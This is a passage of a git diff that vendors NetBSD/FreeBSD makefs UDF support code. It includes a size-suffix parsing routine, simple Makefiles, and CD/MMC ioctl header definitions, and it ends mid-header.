|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
//__FBSDID("$FreeBSD: head/lib/libnetbsd/strsuftoll.c 244557 2012-12-21 20:37:38Z brooks $");
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/time.h>
|
||||
|
||||
#include <assert.h>
|
||||
#include <ctype.h>
|
||||
#include <err.h>
|
||||
#include <errno.h>
|
||||
#include <limits.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifdef _LIBC
|
||||
# ifdef __weak_alias
|
||||
__weak_alias(strsuftoll, _strsuftoll)
|
||||
__weak_alias(strsuftollx, _strsuftollx)
|
||||
# endif
|
||||
#endif /* LIBC */
|
||||
|
||||
/*
|
||||
* Convert an expression of the following forms to a (u)int64_t.
|
||||
* 1) A positive decimal number.
|
||||
* 2) A positive decimal number followed by a b (mult by 512).
|
||||
* 3) A positive decimal number followed by a k (mult by 1024).
|
||||
* 4) A positive decimal number followed by a m (mult by 1048576).
|
||||
* 5) A positive decimal number followed by a g (mult by 1073741824).
|
||||
* 6) A positive decimal number followed by a t (mult by 1099511627776).
|
||||
* 7) A positive decimal number followed by a w (mult by sizeof int)
|
||||
* 8) Two or more positive decimal numbers (with/without k,b or w).
|
||||
* separated by x (also * for backwards compatibility), specifying
|
||||
* the product of the indicated values.
|
||||
* Returns the result upon successful conversion, or exits with an
|
||||
* appropriate error.
|
||||
*
|
||||
*/
|
||||
|
||||
/*
|
||||
* As strsuftoll(), but returns the error message into the provided buffer
|
||||
* rather than exiting with it.
|
||||
*/
|
||||
/* LONGLONG */
|
||||
long long
|
||||
strsuftollx(const char *desc, const char *val,
|
||||
long long min, long long max, char *ebuf, size_t ebuflen)
|
||||
{
|
||||
long long num, t;
|
||||
char *expr;
|
||||
|
||||
errno = 0;
|
||||
ebuf[0] = '\0';
|
||||
|
||||
while (isspace((unsigned char)*val)) /* Skip leading space */
|
||||
val++;
|
||||
|
||||
num = strtoll(val, &expr, 10);
|
||||
if (errno == ERANGE)
|
||||
goto erange; /* Overflow */
|
||||
|
||||
if (expr == val) /* No digits */
|
||||
goto badnum;
|
||||
|
||||
switch (*expr) {
|
||||
case 'b':
|
||||
t = num;
|
||||
num *= 512; /* 1 block */
|
||||
if (t > num)
|
||||
goto erange;
|
||||
++expr;
|
||||
break;
|
||||
case 'k':
|
||||
t = num;
|
||||
num *= 1024; /* 1 kilobyte */
|
||||
if (t > num)
|
||||
goto erange;
|
||||
++expr;
|
||||
break;
|
||||
case 'm':
|
||||
t = num;
|
||||
num *= 1048576; /* 1 megabyte */
|
||||
if (t > num)
|
||||
goto erange;
|
||||
++expr;
|
||||
break;
|
||||
case 'g':
|
||||
t = num;
|
||||
num *= 1073741824; /* 1 gigabyte */
|
||||
if (t > num)
|
||||
goto erange;
|
||||
++expr;
|
||||
break;
|
||||
case 't':
|
||||
t = num;
|
||||
num *= 1099511627776LL; /* 1 terabyte */
|
||||
if (t > num)
|
||||
goto erange;
|
||||
++expr;
|
||||
break;
|
||||
case 'w':
|
||||
t = num;
|
||||
num *= sizeof(int); /* 1 word */
|
||||
if (t > num)
|
||||
goto erange;
|
||||
++expr;
|
||||
break;
|
||||
}
|
||||
|
||||
switch (*expr) {
|
||||
case '\0':
|
||||
break;
|
||||
case '*': /* Backward compatible */
|
||||
case 'x':
|
||||
t = num;
|
||||
num *= strsuftollx(desc, expr + 1, min, max, ebuf, ebuflen);
|
||||
if (*ebuf != '\0')
|
||||
return (0);
|
||||
if (t > num) {
|
||||
erange:
|
||||
snprintf(ebuf, ebuflen,
|
||||
"%s: %s", desc, strerror(ERANGE));
|
||||
return (0);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
badnum: snprintf(ebuf, ebuflen,
|
||||
"%s `%s': illegal number", desc, val);
|
||||
return (0);
|
||||
}
|
||||
if (num < min) {
|
||||
/* LONGLONG */
|
||||
snprintf(ebuf, ebuflen, "%s %lld is less than %lld.",
|
||||
desc, (long long)num, (long long)min);
|
||||
return (0);
|
||||
}
|
||||
if (num > max) {
|
||||
/* LONGLONG */
|
||||
snprintf(ebuf, ebuflen,
|
||||
"%s %lld is greater than %lld.",
|
||||
desc, (long long)num, (long long)max);
|
||||
return (0);
|
||||
}
|
||||
*ebuf = '\0';
|
||||
return (num);
|
||||
}
|
||||
|
||||
/* LONGLONG */
|
||||
long long
|
||||
strsuftoll(const char *desc, const char *val,
|
||||
long long min, long long max)
|
||||
{
|
||||
long long result;
|
||||
char errbuf[100];
|
||||
|
||||
result = strsuftollx(desc, val, min, max, errbuf, sizeof(errbuf));
|
||||
if (*errbuf != '\0')
|
||||
errx(1, "%s", errbuf);
|
||||
return (result);
|
||||
}
|
||||
1267
thirdparty/makefs/udf.c
vendored
Normal file
1267
thirdparty/makefs/udf.c
vendored
Normal file
File diff suppressed because it is too large
Load Diff
19
thirdparty/makefs/udf/Makefile
vendored
Normal file
19
thirdparty/makefs/udf/Makefile
vendored
Normal file
@@ -0,0 +1,19 @@
|
||||
# $NetBSD: Makefile.inc,v 1.2 2013/08/05 18:45:00 reinoud Exp $
|
||||
#
|
||||
|
||||
UDF= ${NETBSDSRCDIR}/sys/fs/udf
|
||||
UDF_NEWFS= ${NETBSDSRCDIR}/sbin/newfs_udf
|
||||
FSCK= ${NETBSDSRCDIR}/sbin/fsck # use progress meter.
|
||||
|
||||
.PATH: ${.CURDIR}/udf ${UDF} ${UDF_NEWFS} ${FSCK}
|
||||
|
||||
CPPFLAGS+= -I${UDF} -I${UDF_NEWFS} -I${FSCK}
|
||||
|
||||
SRCS += udf_create.c udf_write.c udf_osta.c newfs_udf.c
|
||||
|
||||
objs:
|
||||
$(CC) -o udf_osta.o udf_osta.c
|
||||
$(CC) -o udf_create.o udf_create.c
|
||||
$(CC) -o udf_write.o udf_write.c
|
||||
ar rs libudf.a *.o
|
||||
|
||||
16
thirdparty/makefs/udf/Makefile.inc
vendored
Normal file
16
thirdparty/makefs/udf/Makefile.inc
vendored
Normal file
@@ -0,0 +1,16 @@
|
||||
# $NetBSD: Makefile.inc,v 1.2 2013/08/05 18:45:00 reinoud Exp $
|
||||
#
|
||||
|
||||
UDF= ${NETBSDSRCDIR}/sys/fs/udf
|
||||
UDF_NEWFS= ${NETBSDSRCDIR}/sbin/newfs_udf
|
||||
FSCK= ${NETBSDSRCDIR}/sbin/fsck # use progress meter.
|
||||
|
||||
.PATH: ${.CURDIR}/udf ${UDF} ${UDF_NEWFS} ${FSCK}
|
||||
|
||||
CPPFLAGS+= -I${UDF} -I${UDF_NEWFS} -I${FSCK}
|
||||
|
||||
SRCS += udf_create.c udf_write.c udf_osta.c
|
||||
|
||||
libs:
|
||||
$(CC) $(SRCS) -o libudf.o
|
||||
|
||||
429
thirdparty/makefs/udf/cdio.h
vendored
Normal file
429
thirdparty/makefs/udf/cdio.h
vendored
Normal file
@@ -0,0 +1,429 @@
|
||||
/* $NetBSD: cdio.h,v 1.34 2015/09/06 06:01:02 dholland Exp $ */
|
||||
|
||||
#ifndef _SYS_CDIO_H_
|
||||
#define _SYS_CDIO_H_
|
||||
|
||||
#include <endian.h>
|
||||
|
||||
// #include <sys/ioccom.h>
|
||||
|
||||
/* Shared between kernel & process */
|
||||
|
||||
union msf_lba {
|
||||
struct {
|
||||
u_char unused;
|
||||
u_char minute;
|
||||
u_char second;
|
||||
u_char frame;
|
||||
} msf;
|
||||
uint32_t lba;
|
||||
u_char addr[4];
|
||||
};
|
||||
|
||||
struct cd_toc_entry {
|
||||
u_char nothing1;
|
||||
#if BYTE_ORDER == LITTLE_ENDIAN
|
||||
uint32_t control:4;
|
||||
uint32_t addr_type:4;
|
||||
#endif
|
||||
#if BYTE_ORDER == BIG_ENDIAN
|
||||
uint32_t addr_type:4;
|
||||
uint32_t control:4;
|
||||
#endif
|
||||
u_char track;
|
||||
u_char nothing2;
|
||||
union msf_lba addr;
|
||||
};
|
||||
|
||||
struct cd_sub_channel_header {
|
||||
u_char nothing1;
|
||||
u_char audio_status;
|
||||
#define CD_AS_AUDIO_INVALID 0x00
|
||||
#define CD_AS_PLAY_IN_PROGRESS 0x11
|
||||
#define CD_AS_PLAY_PAUSED 0x12
|
||||
#define CD_AS_PLAY_COMPLETED 0x13
|
||||
#define CD_AS_PLAY_ERROR 0x14
|
||||
#define CD_AS_NO_STATUS 0x15
|
||||
u_char data_len[2];
|
||||
};
|
||||
|
||||
struct cd_sub_channel_q_data {
|
||||
u_char data_format;
|
||||
#if BYTE_ORDER == LITTLE_ENDIAN
|
||||
uint32_t control:4;
|
||||
uint32_t addr_type:4;
|
||||
#endif
|
||||
#if BYTE_ORDER == BIG_ENDIAN
|
||||
uint32_t addr_type:4;
|
||||
uint32_t control:4;
|
||||
#endif
|
||||
u_char track_number;
|
||||
u_char index_number;
|
||||
u_char absaddr[4];
|
||||
u_char reladdr[4];
|
||||
#if BYTE_ORDER == LITTLE_ENDIAN
|
||||
uint32_t :7;
|
||||
uint32_t mc_valid:1;
|
||||
#endif
|
||||
#if BYTE_ORDER == BIG_ENDIAN
|
||||
uint32_t mc_valid:1;
|
||||
uint32_t :7;
|
||||
#endif
|
||||
u_char mc_number[15];
|
||||
#if BYTE_ORDER == LITTLE_ENDIAN
|
||||
uint32_t :7;
|
||||
uint32_t ti_valid:1;
|
||||
#endif
|
||||
#if BYTE_ORDER == BIG_ENDIAN
|
||||
uint32_t ti_valid:1;
|
||||
uint32_t :7;
|
||||
#endif
|
||||
u_char ti_number[15];
|
||||
};
|
||||
|
||||
struct cd_sub_channel_position_data {
|
||||
u_char data_format;
|
||||
#if BYTE_ORDER == LITTLE_ENDIAN
|
||||
uint32_t control:4;
|
||||
uint32_t addr_type:4;
|
||||
#endif
|
||||
#if BYTE_ORDER == BIG_ENDIAN
|
||||
uint32_t addr_type:4;
|
||||
uint32_t control:4;
|
||||
#endif
|
||||
u_char track_number;
|
||||
u_char index_number;
|
||||
union msf_lba absaddr;
|
||||
union msf_lba reladdr;
|
||||
};
|
||||
|
||||
struct cd_sub_channel_media_catalog {
|
||||
u_char data_format;
|
||||
u_char nothing1;
|
||||
u_char nothing2;
|
||||
u_char nothing3;
|
||||
#if BYTE_ORDER == LITTLE_ENDIAN
|
||||
uint32_t :7;
|
||||
uint32_t mc_valid:1;
|
||||
#endif
|
||||
#if BYTE_ORDER == BIG_ENDIAN
|
||||
uint32_t mc_valid:1;
|
||||
uint32_t :7;
|
||||
#endif
|
||||
u_char mc_number[15];
|
||||
};
|
||||
|
||||
struct cd_sub_channel_track_info {
|
||||
u_char data_format;
|
||||
u_char nothing1;
|
||||
u_char track_number;
|
||||
u_char nothing2;
|
||||
#if BYTE_ORDER == LITTLE_ENDIAN
|
||||
uint32_t :7;
|
||||
uint32_t ti_valid:1;
|
||||
#endif
|
||||
#if BYTE_ORDER == BIG_ENDIAN
|
||||
uint32_t ti_valid:1;
|
||||
uint32_t :7;
|
||||
#endif
|
||||
u_char ti_number[15];
|
||||
};
|
||||
|
||||
struct cd_sub_channel_info {
|
||||
struct cd_sub_channel_header header;
|
||||
union {
|
||||
struct cd_sub_channel_q_data q_data;
|
||||
struct cd_sub_channel_position_data position;
|
||||
struct cd_sub_channel_media_catalog media_catalog;
|
||||
struct cd_sub_channel_track_info track_info;
|
||||
} what;
|
||||
};
|
||||
|
||||
/*
|
||||
* Ioctls for the CD drive
|
||||
*/
|
||||
struct ioc_play_track {
|
||||
u_char start_track;
|
||||
u_char start_index;
|
||||
u_char end_track;
|
||||
u_char end_index;
|
||||
};
|
||||
|
||||
#define CDIOCPLAYTRACKS _IOW('c', 1, struct ioc_play_track)
|
||||
struct ioc_play_blocks {
|
||||
int blk;
|
||||
int len;
|
||||
};
|
||||
#define CDIOCPLAYBLOCKS _IOW('c', 2, struct ioc_play_blocks)
|
||||
|
||||
struct ioc_read_subchannel {
|
||||
u_char address_format;
|
||||
#define CD_LBA_FORMAT 1
|
||||
#define CD_MSF_FORMAT 2
|
||||
u_char data_format;
|
||||
#define CD_SUBQ_DATA 0
|
||||
#define CD_CURRENT_POSITION 1
|
||||
#define CD_MEDIA_CATALOG 2
|
||||
#define CD_TRACK_INFO 3
|
||||
u_char track;
|
||||
int data_len;
|
||||
struct cd_sub_channel_info *data;
|
||||
};
|
||||
#define CDIOCREADSUBCHANNEL _IOWR('c', 3, struct ioc_read_subchannel )
|
||||
|
||||
#ifdef _KERNEL
|
||||
/* As above, but with the buffer following the request for in-kernel users. */
|
||||
struct ioc_read_subchannel_buf {
|
||||
struct ioc_read_subchannel req;
|
||||
struct cd_sub_channel_info info;
|
||||
};
|
||||
#define CDIOCREADSUBCHANNEL_BUF _IOWR('c', 3, struct ioc_read_subchannel_buf)
|
||||
#endif
|
||||
|
||||
struct ioc_toc_header {
|
||||
u_short len;
|
||||
u_char starting_track;
|
||||
u_char ending_track;
|
||||
};
|
||||
|
||||
#define CDIOREADTOCHEADER _IOR('c', 4, struct ioc_toc_header)
|
||||
|
||||
struct ioc_read_toc_entry {
|
||||
u_char address_format;
|
||||
u_char starting_track;
|
||||
u_short data_len;
|
||||
struct cd_toc_entry *data;
|
||||
};
|
||||
#define CDIOREADTOCENTRIES _IOWR('c', 5, struct ioc_read_toc_entry)
|
||||
#define CDIOREADTOCENTRYS CDIOREADTOCENTRIES
|
||||
|
||||
#ifdef _KERNEL
|
||||
/* As above, but with the buffer following the request for in-kernel users. */
|
||||
struct ioc_read_toc_entry_buf {
|
||||
struct ioc_read_toc_entry req;
|
||||
struct cd_toc_entry entry[100]; /* NB: 8 bytes each */
|
||||
};
|
||||
#define CDIOREADTOCENTRIES_BUF _IOWR('c', 5, struct ioc_read_toc_entry_buf)
|
||||
#endif
|
||||
|
||||
/* read LBA start of a given session; 0=last, others not yet supported */
|
||||
#define CDIOREADMSADDR _IOWR('c', 6, int)
|
||||
|
||||
struct ioc_patch {
|
||||
u_char patch[4]; /* one for each channel */
|
||||
};
|
||||
#define CDIOCSETPATCH _IOW('c', 9, struct ioc_patch)
|
||||
|
||||
struct ioc_vol {
|
||||
u_char vol[4]; /* one for each channel */
|
||||
};
|
||||
#define CDIOCGETVOL _IOR('c', 10, struct ioc_vol)
|
||||
#define CDIOCSETVOL _IOW('c', 11, struct ioc_vol)
|
||||
#define CDIOCSETMONO _IO('c', 12)
|
||||
#define CDIOCSETSTEREO _IO('c', 13)
|
||||
#define CDIOCSETMUTE _IO('c', 14)
|
||||
#define CDIOCSETLEFT _IO('c', 15)
|
||||
#define CDIOCSETRIGHT _IO('c', 16)
|
||||
#define CDIOCSETDEBUG _IO('c', 17)
|
||||
#define CDIOCCLRDEBUG _IO('c', 18)
|
||||
#define CDIOCPAUSE _IO('c', 19)
|
||||
#define CDIOCRESUME _IO('c', 20)
|
||||
#define CDIOCRESET _IO('c', 21)
|
||||
#define CDIOCSTART _IO('c', 22)
|
||||
#define CDIOCSTOP _IO('c', 23)
|
||||
#define CDIOCEJECT _IO('c', 24)
|
||||
#define CDIOCALLOW _IO('c', 25)
|
||||
#define CDIOCPREVENT _IO('c', 26)
|
||||
#define CDIOCCLOSE _IO('c', 27)
|
||||
|
||||
struct ioc_play_msf {
|
||||
u_char start_m;
|
||||
u_char start_s;
|
||||
u_char start_f;
|
||||
u_char end_m;
|
||||
u_char end_s;
|
||||
u_char end_f;
|
||||
};
|
||||
#define CDIOCPLAYMSF _IOW('c', 25, struct ioc_play_msf)
|
||||
|
||||
struct ioc_load_unload {
|
||||
u_char options;
|
||||
#define CD_LU_ABORT 0x1 /* NOTE: These are the same as the ATAPI */
|
||||
#define CD_LU_UNLOAD 0x2 /* op values for the LOAD_UNLOAD command */
|
||||
#define CD_LU_LOAD 0x3
|
||||
u_char slot;
|
||||
};
|
||||
#define CDIOCLOADUNLOAD _IOW('c', 26, struct ioc_load_unload)
|
||||
|
||||
|
||||
#if defined(_KERNEL) || defined(_EXPOSE_MMC)
|
||||
/* not exposed to userland yet until its completely mature */
|
||||
/*
|
||||
* MMC device abstraction interface.
|
||||
*
|
||||
* It gathers information from GET_CONFIGURATION, READ_DISCINFO,
|
||||
* READ_TRACKINFO, READ_TOC2, READ_CD_CAPACITY and GET_CONFIGURATION
|
||||
* SCSI/ATAPI calls regardless if its a legacy CD-ROM/DVD-ROM device or a MMC
|
||||
* standard recordable device.
|
||||
*/
|
||||
struct mmc_discinfo {
|
||||
uint16_t mmc_profile;
|
||||
uint16_t mmc_class;
|
||||
|
||||
uint8_t disc_state;
|
||||
uint8_t last_session_state;
|
||||
uint8_t bg_format_state;
|
||||
uint8_t link_block_penalty; /* in sectors */
|
||||
|
||||
uint64_t mmc_cur; /* current MMC_CAPs */
|
||||
uint64_t mmc_cap; /* possible MMC_CAPs */
|
||||
|
||||
uint32_t disc_flags; /* misc flags */
|
||||
|
||||
uint32_t disc_id;
|
||||
uint64_t disc_barcode;
|
||||
uint8_t application_code; /* 8 bit really */
|
||||
|
||||
uint8_t unused1[3]; /* padding */
|
||||
|
||||
uint32_t last_possible_lba; /* last leadout start adr. */
|
||||
uint32_t sector_size;
|
||||
|
||||
uint16_t num_sessions;
|
||||
uint16_t num_tracks; /* derived */
|
||||
|
||||
uint16_t first_track;
|
||||
uint16_t first_track_last_session;
|
||||
uint16_t last_track_last_session;
|
||||
|
||||
uint16_t unused2; /* padding/misc info resv. */
|
||||
|
||||
uint16_t reserved1[4]; /* MMC-5 track resources */
|
||||
uint32_t reserved2[3]; /* MMC-5 POW resources */
|
||||
|
||||
uint32_t reserved3[8]; /* MMC-5+ */
|
||||
};
|
||||
#define MMCGETDISCINFO _IOR('c', 28, struct mmc_discinfo)
|
||||
|
||||
#define MMC_CLASS_UNKN 0
|
||||
#define MMC_CLASS_DISC 1
|
||||
#define MMC_CLASS_CD 2
|
||||
#define MMC_CLASS_DVD 3
|
||||
#define MMC_CLASS_MO 4
|
||||
#define MMC_CLASS_BD 5
|
||||
#define MMC_CLASS_FILE 0xffff /* emulation mode */
|
||||
|
||||
#define MMC_DFLAGS_BARCODEVALID (1 << 0) /* barcode is present and valid */
|
||||
#define MMC_DFLAGS_DISCIDVALID (1 << 1) /* discid is present and valid */
|
||||
#define MMC_DFLAGS_APPCODEVALID (1 << 2) /* application code valid */
|
||||
#define MMC_DFLAGS_UNRESTRICTED (1 << 3) /* restricted, then set app. code */
|
||||
|
||||
#define MMC_DFLAGS_FLAGBITS \
|
||||
"\10\1BARCODEVALID\2DISCIDVALID\3APPCODEVALID\4UNRESTRICTED"
|
||||
|
||||
#define MMC_CAP_SEQUENTIAL (1 << 0) /* sequential writable only */
|
||||
#define MMC_CAP_RECORDABLE (1 << 1) /* record-able; i.e. not static */
|
||||
#define MMC_CAP_ERASABLE (1 << 2) /* drive can erase sectors */
|
||||
#define MMC_CAP_BLANKABLE (1 << 3) /* media can be blanked */
|
||||
#define MMC_CAP_FORMATTABLE (1 << 4) /* media can be formatted */
|
||||
#define MMC_CAP_REWRITABLE (1 << 5) /* media can be rewritten */
|
||||
#define MMC_CAP_MRW (1 << 6) /* Mount Rainier formatted */
|
||||
#define MMC_CAP_PACKET (1 << 7) /* using packet recording */
|
||||
#define MMC_CAP_STRICTOVERWRITE (1 << 8) /* only writes a packet at a time */
|
||||
#define MMC_CAP_PSEUDOOVERWRITE (1 << 9) /* overwrite through replacement */
|
||||
#define MMC_CAP_ZEROLINKBLK (1 << 10) /* zero link block length capable */
|
||||
#define MMC_CAP_HW_DEFECTFREE (1 << 11) /* hardware defect management */
|
||||
|
||||
#define MMC_CAP_FLAGBITS \
|
||||
"\10\1SEQUENTIAL\2RECORDABLE\3ERASABLE\4BLANKABLE\5FORMATTABLE" \
|
||||
"\6REWRITABLE\7MRW\10PACKET\11STRICTOVERWRITE\12PSEUDOOVERWRITE" \
|
||||
"\13ZEROLINKBLK\14HW_DEFECTFREE"
|
||||
|
||||
#define MMC_STATE_EMPTY 0
|
||||
#define MMC_STATE_INCOMPLETE 1
|
||||
#define MMC_STATE_FULL 2
|
||||
#define MMC_STATE_CLOSED 3
|
||||
|
||||
#define MMC_BGFSTATE_UNFORM 0
|
||||
#define MMC_BGFSTATE_STOPPED 1
|
||||
#define MMC_BGFSTATE_RUNNING 2
|
||||
#define MMC_BGFSTATE_COMPLETED 3
|
||||
|
||||
|
||||
struct mmc_trackinfo {
|
||||
uint16_t tracknr; /* IN/OUT */
|
||||
uint16_t sessionnr;
|
||||
|
||||
uint8_t track_mode;
|
||||
uint8_t data_mode;
|
||||
|
||||
uint16_t flags;
|
||||
|
||||
uint32_t track_start;
|
||||
uint32_t next_writable;
|
||||
uint32_t free_blocks;
|
||||
uint32_t packet_size;
|
||||
uint32_t track_size;
|
||||
uint32_t last_recorded;
|
||||
};
|
||||
#define MMCGETTRACKINFO _IOWR('c', 29, struct mmc_trackinfo)
|
||||
|
||||
#define MMC_TRACKINFO_COPY (1 << 0)
|
||||
#define MMC_TRACKINFO_DAMAGED (1 << 1)
|
||||
#define MMC_TRACKINFO_FIXED_PACKET (1 << 2)
|
||||
#define MMC_TRACKINFO_INCREMENTAL (1 << 3)
|
||||
#define MMC_TRACKINFO_BLANK (1 << 4)
|
||||
#define MMC_TRACKINFO_RESERVED (1 << 5)
|
||||
#define MMC_TRACKINFO_NWA_VALID (1 << 6)
|
||||
#define MMC_TRACKINFO_LRA_VALID (1 << 7)
|
||||
#define MMC_TRACKINFO_DATA (1 << 8)
|
||||
#define MMC_TRACKINFO_AUDIO (1 << 9)
|
||||
#define MMC_TRACKINFO_AUDIO_4CHAN (1 << 10)
|
||||
#define MMC_TRACKINFO_PRE_EMPH (1 << 11)
|
||||
|
||||
#define MMC_TRACKINFO_FLAGBITS \
|
||||
"\10\1COPY\2DAMAGED\3FIXEDPACKET\4INCREMENTAL\5BLANK" \
|
||||
"\6RESERVED\7NWA_VALID\10LRA_VALID\11DATA\12AUDIO" \
|
||||
"\13AUDIO_4CHAN\14PRE_EMPH"
|
||||
|
||||
struct mmc_op {
|
||||
uint16_t operation; /* IN */
|
||||
uint16_t mmc_profile; /* IN */
|
||||
|
||||
/* parameters to operation */
|
||||
uint16_t tracknr; /* IN */
|
||||
uint16_t sessionnr; /* IN */
|
||||
uint32_t extent; /* IN */
|
||||
|
||||
uint32_t reserved[4];
|
||||
};
|
||||
#define MMCOP _IOWR('c', 30, struct mmc_op)
|
||||
|
||||
#define MMC_OP_SYNCHRONISECACHE 1
|
||||
#define MMC_OP_CLOSETRACK 2
|
||||
#define MMC_OP_CLOSESESSION 3
|
||||
#define MMC_OP_FINALISEDISC 4
|
||||
#define MMC_OP_RESERVETRACK 5
|
||||
#define MMC_OP_RESERVETRACK_NWA 6
|
||||
#define MMC_OP_UNRESERVETRACK 7
|
||||
#define MMC_OP_REPAIRTRACK 8
|
||||
#define MMC_OP_UNCLOSELASTSESSION 9
|
||||
#define MMC_OP_MAX 9
|
||||
|
||||
struct mmc_writeparams {
|
||||
uint16_t tracknr; /* IN */
|
||||
uint16_t mmc_class; /* IN */
|
||||
uint32_t mmc_cur; /* IN */
|
||||
uint32_t blockingnr; /* IN */
|
||||
|
||||
/* when tracknr == 0 */
|
||||
uint8_t track_mode; /* IN; normally 5 */
|
||||
uint8_t data_mode; /* IN; normally 2 */
|
||||
};
|
||||
#define MMC_TRACKMODE_DEFAULT 5 /* data, incremental recording */
|
||||
#define MMC_DATAMODE_DEFAULT 2 /* CDROM XA disc */
|
||||
#define MMCSETUPWRITEPARAMS _IOW('c', 31, struct mmc_writeparams)
|
||||
|
||||
#endif /* _KERNEL || _EXPOSE_MMC */
|
||||
|
||||
#endif /* !_SYS_CDIO_H_ */
|
||||
163
thirdparty/makefs/udf/cdio_mmc_structs.h
vendored
Normal file
163
thirdparty/makefs/udf/cdio_mmc_structs.h
vendored
Normal file
@@ -0,0 +1,163 @@
|
||||
/* $NetBSD: cdio_mmc_structs.h,v 1.1 2013/08/05 18:44:16 reinoud Exp $ */
|
||||
|
||||
/*
|
||||
* Copyright (c) 2006, 2008, 2013 Reinoud Zandijk
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _CDIO_MMC_EMU_H_
|
||||
#define _CDIO_MMC_EMU_H_
|
||||
|
||||
#include <sys/types.h>
|
||||
|
||||
/*
|
||||
* MMC device abstraction interface.
|
||||
*
|
||||
* It gathers information from GET_CONFIGURATION, READ_DISCINFO,
|
||||
* READ_TRACKINFO, READ_TOC2, READ_CD_CAPACITY and GET_CONFIGURATION
|
||||
* SCSI/ATAPI calls regardless if its a legacy CD-ROM/DVD-ROM device or a MMC
|
||||
* standard recordable device.
|
||||
*/
|
||||
struct mmc_discinfo {
|
||||
uint16_t mmc_profile;
|
||||
uint16_t mmc_class;
|
||||
|
||||
uint8_t disc_state;
|
||||
uint8_t last_session_state;
|
||||
uint8_t bg_format_state;
|
||||
uint8_t link_block_penalty; /* in sectors */
|
||||
|
||||
uint64_t mmc_cur; /* current MMC_CAPs */
|
||||
uint64_t mmc_cap; /* possible MMC_CAPs */
|
||||
|
||||
uint32_t disc_flags; /* misc flags */
|
||||
|
||||
uint32_t disc_id;
|
||||
uint64_t disc_barcode;
|
||||
uint8_t application_code; /* 8 bit really */
|
||||
|
||||
uint8_t unused1[3]; /* padding */
|
||||
|
||||
uint32_t last_possible_lba; /* last leadout start adr. */
|
||||
uint32_t sector_size;
|
||||
|
||||
uint16_t num_sessions;
|
||||
uint16_t num_tracks; /* derived */
|
||||
|
||||
uint16_t first_track;
|
||||
uint16_t first_track_last_session;
|
||||
uint16_t last_track_last_session;
|
||||
|
||||
uint16_t unused2; /* padding/misc info resv. */
|
||||
|
||||
uint16_t reserved1[4]; /* MMC-5 track resources */
|
||||
uint32_t reserved2[3]; /* MMC-5 POW resources */
|
||||
|
||||
uint32_t reserved3[8]; /* MMC-5+ */
|
||||
};
|
||||
#define MMCGETDISCINFO _IOR('c', 28, struct mmc_discinfo)
|
||||
|
||||
#define MMC_CLASS_UNKN 0
|
||||
#define MMC_CLASS_DISC 1
|
||||
#define MMC_CLASS_CD 2
|
||||
#define MMC_CLASS_DVD 3
|
||||
#define MMC_CLASS_MO 4
|
||||
#define MMC_CLASS_BD 5
|
||||
#define MMC_CLASS_FILE 0xffff /* emulation mode */
|
||||
|
||||
#define MMC_DFLAGS_BARCODEVALID (1 << 0) /* barcode is present and valid */
|
||||
#define MMC_DFLAGS_DISCIDVALID (1 << 1) /* discid is present and valid */
|
||||
#define MMC_DFLAGS_APPCODEVALID (1 << 2) /* application code valid */
|
||||
#define MMC_DFLAGS_UNRESTRICTED (1 << 3) /* restricted, then set app. code */
|
||||
|
||||
#define MMC_DFLAGS_FLAGBITS \
|
||||
"\10\1BARCODEVALID\2DISCIDVALID\3APPCODEVALID\4UNRESTRICTED"
|
||||
|
||||
#define MMC_CAP_SEQUENTIAL (1 << 0) /* sequential writable only */
|
||||
#define MMC_CAP_RECORDABLE (1 << 1) /* record-able; i.e. not static */
|
||||
#define MMC_CAP_ERASABLE (1 << 2) /* drive can erase sectors */
|
||||
#define MMC_CAP_BLANKABLE (1 << 3) /* media can be blanked */
|
||||
#define MMC_CAP_FORMATTABLE (1 << 4) /* media can be formatted */
|
||||
#define MMC_CAP_REWRITABLE (1 << 5) /* media can be rewritten */
|
||||
